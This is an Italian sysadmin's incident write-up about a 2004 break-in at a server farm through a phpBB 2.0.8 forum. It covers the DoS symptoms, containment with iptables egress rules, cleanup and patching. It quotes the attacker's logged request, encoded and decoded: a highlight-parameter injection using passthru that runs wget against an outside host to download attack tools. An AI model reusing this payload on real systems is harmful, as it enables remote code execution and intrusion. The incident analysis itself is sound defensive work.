Attacco cracker alla server farm Micso S.r.l. 2004/12/03 - Analisi e soluzioni

Abstract

Questo articolo analizza gli eventi che hanno causato un attacco da parte di un gruppo di hacker brasiliani contro la server farm della Micso S.r.l. il 04 dicembre 2004, su come si è analizzato l'attacco e le soluzioni adottate.

Riassunto dell'attacco:

Nome del teamdi hackers: Blood BR
Nick dell'hacker: hellsick - Sito: http://www.cyberarmy.co.kr/index.html.BloodBR
Nazionalità: brasiliana
Tipo di attacco: sql injection su phpBB 2.0.8
Natura dell'attacco: DOS, defacement
Durata del down di rete: 03:00 ore
Durata del down della macchina: 03:20 ore
Durata del exploit sulla macchina: 05:00 ore

Era già da qualche giorno che all'interno della server farm per la quale lavoro accadevano delle cose strane. In particolare, tre giorni prima dell'evento che sto per raccontare, avevo ricevuto una telefonata da un collega che, trattenutosi fino a tardi presso i nostri uffici, s'era accorto, ad un certo momento che non si riusciva più a navigare.

Dopo un po' di prove di connettività incrociata sui vari trunk della nostra rete, mi accorgo che il problema era da identificarsi con il firewall di centro stella che raccoglie tutte le nostre reti interne e le connette al nostro router con le connettività INTERNET.

Inviato quindi il collega presso il terminale di questo firewall ci rendemmo conto che il problema era una anomala lentezza dello stesso, tanto che addirittura, i caratteri digitati da tastiera apparivano a video dopo molto tempo. Ovviamente, la prima "medicina" è stato un bel reboot del firewall e, con una lentezza esasperante, la macchina riparte e, dopo qualche secondo in cui sembra che a nulla abbia giovato il reboot, il sistema riprende a funzionare correttamente.

Monitoriamo la rete per una mezz'ora e, visto il buon andamento della stessa, decidiamo di posticipare l'analisi del problema.

Ovviamente i giorni successivi, mille impegni impediscono di analizzare a fondo la cosa.

Arriviamo così al momento incriminato che non poteva, per le note leggi di Murfy, che essere un bel sabato, ora di pranzo. Sto quasi per andare a mangiare quando vengo contattato da uno dei soci della Micso che mi comunica che ha chiamato un nostro cliente che ha dei server in housing presso di noi e che gli ha riportato la non raggiungibilità degli stessi.

Con banale prova su di un client verifico che INTERNET non è raggiungibile neanche dall'interno. Conscio del problema evidenziato ma non analizzato tre giorni prima, faccio dirigere il collega sul firewall che evidenzia la stessa lentezza accusata in precedenza e, questa volta il problema non viene risolto neanche dal solito reboot.

Supponendo un attacco (D)DOS (Distributed Denial of services), provo a far staccare il firewall dalla connettività INTERNET ma nulla di fatto.

Restando, come alternativa, un attacco DOS interno o un problema hardware, decido che comunque, qualsiasi sia il problema, richiede la mia presenza e, a malincuore, rendendomi conto che oggi, di mangiare, non se ne parla, mi dirigo quindi in Micso.

Intanto, anche il collega DoM, che è di Pescara, viene precettato e arruolato nel "team di emergenza".

All'arrivo in Micso trovo già Dom che, armato di tcpdump e iptraf, ha scoperto che il problema è un attacco DOS proveniente da uno dei nostri server interni. Su questo server, infatti, troviamo in esecuzione un "codicillo" chiamato updtsunami che invia una miriade di pacchetti UDP nella nostra rete fino a saturare la stessa e a collassare il nostro firewall.

Trovata la fonte dei nostri guai, facciamo ripartire il resto della nostra rete e dei nostri server, isolando la macchina "bucata" tramite la rimozione del cavo di rete dalla stessa.

Il problema è che il server che è stato "bucato" e che abbiamo isolato dalla rete è un server principale su cui vi sono molti servizi importanti tra cui il sito, la posta e il sistema di autenticazione del nostro freenet e dei nostri servizi ADSL, il nostro sistema di acquisti online e, cosa più importante, il mio sito!!!

E' quindi indispensabile far ripartire anche questa macchina al più presto evitando però che essa possa causare danni alla nostra rete. Quindi non è possibile analizzare, con calma, gli eventuali exploit presenti sulla macchina che l'hacker ha potuto usare per scaricare ed eseguire il DOS.

Decido allora di rimettere online la macchina impostando delle regole di firewall locali per cui solo i servizi strettamente indispensabili possano dialogare con il resto del mondo mentre tutto il resto venga bloccato.

L'idea è di bloccare tutti i client di connettività quali la navigazione, il ping, l'ftp dalla macchina mantenendo al contempo il funzionamento dei servizi a livello server. Quindi l'idea è che, se l'hacker ha messo una backdoor questa non funzioni, se l'exploit avviene via web, quando tenterà di scaricare di nuovo i suoi strumenti sulla macchina, questo download non funzioni e se gli strumenti sono gia presenti, se esso tenta di usarli, questi non funzionino.

Ovviamente questo non ci libera dal rischio di ritorsioni conto la macchina locale quali cancellazione di file e cosi via ma contiamo di trovare il problema prima che ciò accada e, cosa più importante, dobbiamo far ripartire al più presto i servizi di questo sistema.

Parto quindi attivando le seguenti policy di default di modo da riattaccare il cavo di rete:

iptables -P INPUT ACCEPT

iptables -P OUTPUT DENY

iptables -P FORWARD DENY

A parte la policy di FORWARD che è ininfluente, non essendo attivo il forward dei pacchetti sulla macchina, le prime due policy fanno si che tutto il traffico in INPUT sulla macchina venga accettato mentre l'OUTPUT viene bloccato.

Quindi, un qualsiasi tentativo di utilizzo di client di rete locali viene bloccato. Non posso quindi fare ping, ftp, non posso visitare siti con un browser locale e cosi via.

Il problema è che messa cosi, i servizi presenti su questa macchina continuano ad essere non utilizzabili in quanto le richieste dei client remoti, gli utenti dei nostri servizi, arrivano sul server grazie alla prima regola mentre le risposte vengono bloccate dalla seconda. Tramite un netstat si evidenziano infatti una marea di SYN_SENT ma nient'altro, sintomo per l'appunto che i client cercano di aprire una connessione, ma nessuno risponde.

Sono quindi andato ad aprire le porte in risposta per i servizi presenti sul nostro server

per permettere le interrogazioni sui DNS di modo da far funzonare la risoluzione dei domini

iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT

iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT

per far rispondere il nostro server web http e https

iptables -A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT

iptables -A OUTPUT -p tcp -m tcp --sport 443 -j ACCEPT

per far rispondere il nostri servizi di posta

iptables -A OUTPUT -p tcp -m tcp --sport 25 -j ACCEPT

iptables -A OUTPUT -p tcp -m tcp --sport 110 -j ACCEPT

per permettere al webmail presente sui nostri siti di leggere e inviare la posta

iptables -A OUTPUT -p tcp -m tcp -d www.micso.net --dport 110 -j ACCEPT

iptables -A OUTPUT -p tcp -m tcp -d www.micso.net --dport 25 -j ACCEPT

far funzionare il server RADIUS di autenticazione utenti

iptables -A OUTPUT -p tcp -m tcp --sport 1812 -j ACCEPT

iptables -A OUTPUT -p tcp -m tcp --sport 1813 -j ACCEPT

iptables -A OUTPUT -p udp -m udp --sport 1813 -j ACCEPT

iptables -A OUTPUT -p udp -m udp --sport 1812 -j ACCEPT

e infine, per lavorare in modo più agevole, apro la risposta del servizio SSH alla mia macchina di lavoro

iptables -A OUTPUT -d ***.***.***.*** -p tcp -m tcp --sport 22 -j ACCEPT

Dopo aver verificato che gli utenti riescono finalmente a raggiungere i nostri servizi senza problemi, posso finalmente spostarmi sulla mia macchina di lavoro e iniziare a fare un po' di analisi per cercare di capire cosa ha installato l'hacker, come è entrato e da dove è arrivato.

Una brevissimo giro nel filesystem della macchina permette di trovare su /tmp e su /var/tmp un po' di filez tra cui il sopracitato udptsunami, utilizzato per il DOS, il bindz, per  avere un accesso in shell da remoto e xhider, per alterare il nome dei processi

In più trovo un bel utente hellsick presente nel file /etc/passwd e /etc/shadow.

La prima cosa che faccio è quindi, un bel delete di tutto l'immondezzaio e dell'utente "in eccesso". Ma non ho risolto ancora il problema, da qualche parte questo tizio è entrato, ma dove? Significativo è il fatto che tutti i file eseguibili installati dall'hacker erano owned dall'utente e dal gruppo "apache". Quindi, sicuramente, l'accesso è avvenuto tramite qualche exploit di qualche software che gira via web in quanto è fortemente da escludere apache e relativi mods in quanto erano stati aggiornati recentemente e una verifica rileva effettivamente che questi software sono tutti aggiornati all'ultima versione.

Quindi, a parte un improbabile exploit non ancora scoperto e/o non patchato da quelli di apache, la nostra ricerca si sposta verso gli script e i software che girano sul server web.

Ma ecco che, aiutati dal blocco effettuato sopra con iptables, la fortuna gira dalla nostra parte. Ad un certo punto DoM urla, "Emiliano, sta facendo wget!".

E infatti eccolo li

[root@batman /]# ps xa

PID    TTY STAT TIME COMMAND

.....

23657  ?   S    0:04 wget http://cens.no-ip.org/da
 

il maledetto sta tentando di riscaricare il suo ambiente ma non sa che ora il download è bloccato e quindi questo processo non procede. Un lsof sul pid del processo permette di risalire allo script incriminato che è

*****/www.ebruni.it/www/phpBB2/viewtopic.php

ahhhhh, è entrato tramite il forum del mio sito.

Subito partono le misure di difesa. Immediatamente rimuovo il mio sito dall'elenco dei siti presenti sulla macchina e faccio un restart del server, uccidendo cosi il processo sopra ed ogni ulteriore accesso all'hacker.

Vado quindi ad analizzare il log di accesso del mio sito per vedere in che modo, delle chiamate al file viewtopic.php possono permettere l'accesso alla shell di sistema. Ed ecco che trovo tutta una serie di righe interessanti, tipo questa:

***.***.***.*** - - [04/Dec/2004:16:05:14 +0100] "GET /phpBB2/viewtopic.php?t=

%31%31&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20%77%67%65%74%20%68%74%74

%70%3A%2F%2F%63%65%6E%73%2E%6E%6F%2D%69%70%2E%6F%72%67%2F%64%61%3B%20%65%63%68

%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54

%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527 HTTP/1.1" 500 640 "-" "-"

che, tradotta in linguaggio un po' più umano, si legge come

***.***.***.*** - - [04/Dec/2004:16:05:14 +0100]

"GET /phpBB2/viewtopic.php?t=11&rush=echo _START_; wget http://cens.no-ip.org/da; echo _END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27 HTTP/1.1" 500 640 "-" "-"

Ed ecco, la stringa incriminata che lancia il wget. Una qualche forma di sql injection che permette all'hacker, digitando l'indirizzo sopra, di bypassare lo script vietopic.php ed eseguire comandi in shell.

Stanchi, ma contenti di aver stanato il topo di fogna, decidiamo di andare a casa, ma non prima di aver salvato tutti i suoi accessi al sistema per una successiva denuncia all'autorità competente.

In serata, ho aggiornato il phpBB all'ultima versione e rimesso online il mio sito